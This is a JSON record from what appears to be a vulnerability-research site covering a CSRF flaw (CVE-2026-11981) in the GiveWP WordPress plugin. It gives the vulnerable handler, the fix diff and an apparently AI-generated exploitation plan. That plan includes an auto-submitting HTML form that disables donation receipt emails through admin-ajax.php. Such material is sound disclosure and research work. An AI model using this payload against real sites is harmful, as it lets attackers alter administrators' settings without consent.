[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f2fKZWLu1VI8ASkSarvNk901ItWYMfN1pxkno0t64f6o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-11981","givewp-cross-site-request-forgery-4","GiveWP \u003C= 4.15.3 - Cross-Site Request Forgery","The GiveWP plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 4.15.3 This is due to missing nonce validation on the give_set_notification_status_handler() function. This makes it possible for unauthenticated attackers to disable donation email notifications via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.","give",null,"\u003C=4.15.3","4.15.4","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Cross-Site Request Forgery (CSRF)","2026-06-30 16:29:51","2026-07-01 04:32:26",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F49954c72-df0d-46ec-a252-8af84dea41bf?source=api-prod",1,[22,23,24,25,26,27,28,29],"build\u002Fassets\u002Fdist\u002Fjs\u002Fadmin.asset.php","build\u002Fassets\u002Fdist\u002Fjs\u002Fadmin.js","give.php","includes\u002Fadmin\u002Femails\u002Fajax-handler.php","includes\u002Fclass-give-scripts.php","languages\u002Fgive.pot","readme.txt","vendor\u002Fcomposer\u002Finstalled.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-11981 (GiveWP CSRF)\n\n## 1. Vulnerability Summary\nThe GiveWP plugin (\u003C= 4.15.3) is vulnerable to Cross-Site Request Forgery (CSRF) because the function `give_set_notification_status_handler()` lacks any nonce validation. While the function performs a capability check (`current_user_can( 'manage_give_settings' )`), it does not verify the intent of the user. An attacker can trick an authenticated administrator into clicking a link or visiting a malicious site that submits a forged request to the vulnerable AJAX endpoint, allowing the attacker to enable or disable specific donation email notifications.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `give_set_notification_status`\n*   **HTTP Method:** POST\n*   **Authentication Required:** Administrator (or user with `manage_give_settings` capability)\n*   **Vulnerable Parameter(s):**\n    *   `notification_id`: The ID of the notification to modify (e.g., `donation-receipt`).\n    *   `status`: The target status (e.g., `disabled` or `enabled`).\n*   **Preconditions:** An administrator must be logged in and perform a request (typically via an auto-submitting HTML form on an attacker-controlled page).\n\n## 3. Code Flow\n1.  The AJAX request is dispatched to `admin-ajax.php` with `action=give_set_notification_status`.\n2.  WordPress triggers the hook: `add_action( 'wp_ajax_give_set_notification_status', 'give_set_notification_status_handler' )` in `includes\u002Fadmin\u002Femails\u002Fajax-handler.php`.\n3.  The function `give_set_notification_status_handler()` is called:\n    *   It checks permissions using `current_user_can( 'manage_give_settings' )`.\n    *   It retrieves `notification_id` and `status` from `$_POST`.\n    *   **Vulnerability:** It proceeds directly to `give_update_option()` without calling `check_ajax_referer()` or `wp_verify_nonce()`.\n4.  `give_update_option( \"{$notification_id}_notification\", $_POST['status'] )` updates the database.\n5.  The server returns `wp_send_json_success()`.\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required.**\nThe vulnerability is specifically characterized by the **absence** of nonce validation. The `give_set_notification_status_handler` function in `includes\u002Fadmin\u002Femails\u002Fajax-handler.php` does not contain any calls to `check_ajax_referer` or `wp_verify_nonce`.\n\n## 5. Exploitation Strategy\nThe goal is to disable the \"Donation Receipt\" email notification using a CSRF attack.\n\n### Step-by-Step Plan:\n1.  **Identify Notification ID:** Typical GiveWP notification IDs include `donation-receipt`, `new-donation`, and `donor-register`.\n2.  **Prepare Exploit:** Construct a POST request to `admin-ajax.php`.\n3.  **Execute Request:** Use the `http_request` tool to simulate the authenticated administrator sending the request.\n\n### HTTP Request Details:\n*   **URL:** `{{BASE_URL}}\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** POST\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `action`: `give_set_notification_status`\n    *   `notification_id`: `donation-receipt`\n    *   `status`: `disabled`\n\n## 6. Test Data Setup\n1.  **Install Plugin:** Ensure GiveWP \u003C= 4.15.3 is active.\n2.  **Verify Initial State:** Ensure the \"Donation Receipt\" notification is currently enabled in GiveWP settings.\n    *   Navigate to: `GiveWP -> Settings -> Emails -> Notifications`.\n    *   Locate \"Donation Receipt\" and confirm it is \"Enabled\".\n3.  **User Role:** Create or identify an administrator user to serve as the victim.\n\n## 7. Expected Results\n*   **Response Body:** `{\"success\":true}`\n*   **Response Status:** 200 OK\n*   **Database Change:** The setting for `donation-receipt_notification` will be updated to `disabled`.\n\n## 8. Verification Steps\n1.  **WP-CLI Verification:** Check the value of the updated setting.\n    ```bash\n    wp option get give_settings --format=json\n    ```\n    *Note: GiveWP settings are usually stored in a serialized array under the `give_settings` option. Check for the key `donation-receipt_notification` within that array.*\n2.  **UI Verification:** Log in as an admin and navigate to `GiveWP -> Settings -> Emails -> Notifications`. Observe that \"Donation Receipt\" is now \"Disabled\".\n\n## 9. Alternative Approaches\n*   **Different Notification:** If `donation-receipt` is already disabled, target `new-donation` (Admin notification).\n*   **Enable instead of Disable:** If the goal is to demonstrate unauthorized modification, change `status` from `disabled` to `enabled`.\n*   **HTML Form PoC:** Create an HTML file on the server and use `browser_navigate` to visit it as the admin:\n    ```html\n    \u003Cform id=\"csrf\" action=\"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\" method=\"POST\">\n        \u003Cinput type=\"hidden\" name=\"action\" value=\"give_set_notification_status\">\n        \u003Cinput type=\"hidden\" name=\"notification_id\" value=\"donation-receipt\">\n        \u003Cinput type=\"hidden\" name=\"status\" value=\"disabled\">\n    \u003C\u002Fform>\n    \u003Cscript>document.getElementById('csrf').submit();\u003C\u002Fscript>\n    ```","The GiveWP plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 4.15.3. This is due to missing nonce validation in the AJAX handler for notification settings, which allows an attacker to trick an administrator into enabling or disabling donation email notifications via a forged request.","\u002F\u002F includes\u002Fadmin\u002Femails\u002Fajax-handler.php:18\nfunction give_set_notification_status_handler() {\n\t\u002F\u002F Is user have permission to edit give setting.\n\tif ( ! current_user_can( 'manage_give_settings' ) ) {\n\t\treturn;\n\t}\n\n\t$notification_id = isset( $_POST['notification_id'] ) ? give_clean( $_POST['notification_id'] ) : '';\n\tif ( ! empty( $notification_id ) && give_update_option( \"{$notification_id}_notification\", give_clean( $_POST['status'] ) ) ) {\n\t\twp_send_json_success();\n\t}\n\n\twp_send_json_error();\n}","--- includes\u002Fadmin\u002Femails\u002Fajax-handler.php\n+++ includes\u002Fadmin\u002Femails\u002Fajax-handler.php\n@@ -17,6 +17,8 @@\n  *\u002F\n function give_set_notification_status_handler() {\n+\tcheck_ajax_referer( 'give_set_notification_status', 'nonce' );\n+\n \t\u002F\u002F Is user have permission to edit give setting.\n \tif ( ! current_user_can( 'manage_give_settings' ) ) {\n \t\treturn;","The exploit methodology involves crafting a Cross-Site Request Forgery (CSRF) attack against a site administrator. \n\n1. Target Endpoint: The attack targets the WordPress AJAX endpoint at '\u002Fwp-admin\u002Fadmin-ajax.php'.\n2. Request Parameters: A POST request must be constructed with 'action=give_set_notification_status', 'notification_id' set to a valid notification key (e.g., 'donation-receipt'), and 'status' set to 'disabled' (to stop receipts) or 'enabled'.\n3. Authentication Requirement: The victim must be a logged-in administrator (or a user with 'manage_give_settings' capabilities).\n4. Delivery: The attacker hosts a malicious HTML page containing an auto-submitting form. When the authenticated victim visits this page, the browser automatically sends the forged POST request to the target site. Because the plugin does not verify a nonce, it processes the request and updates the site's email settings based on the attacker's parameters.","gemini-3-flash-preview","2026-07-25 12:50:27","2026-07-25 12:51:18",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","4.15.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgive\u002Ftags\u002F4.15.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgive.4.15.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgive\u002Ftags\u002F4.15.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgive.4.15.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgive\u002Ftags"]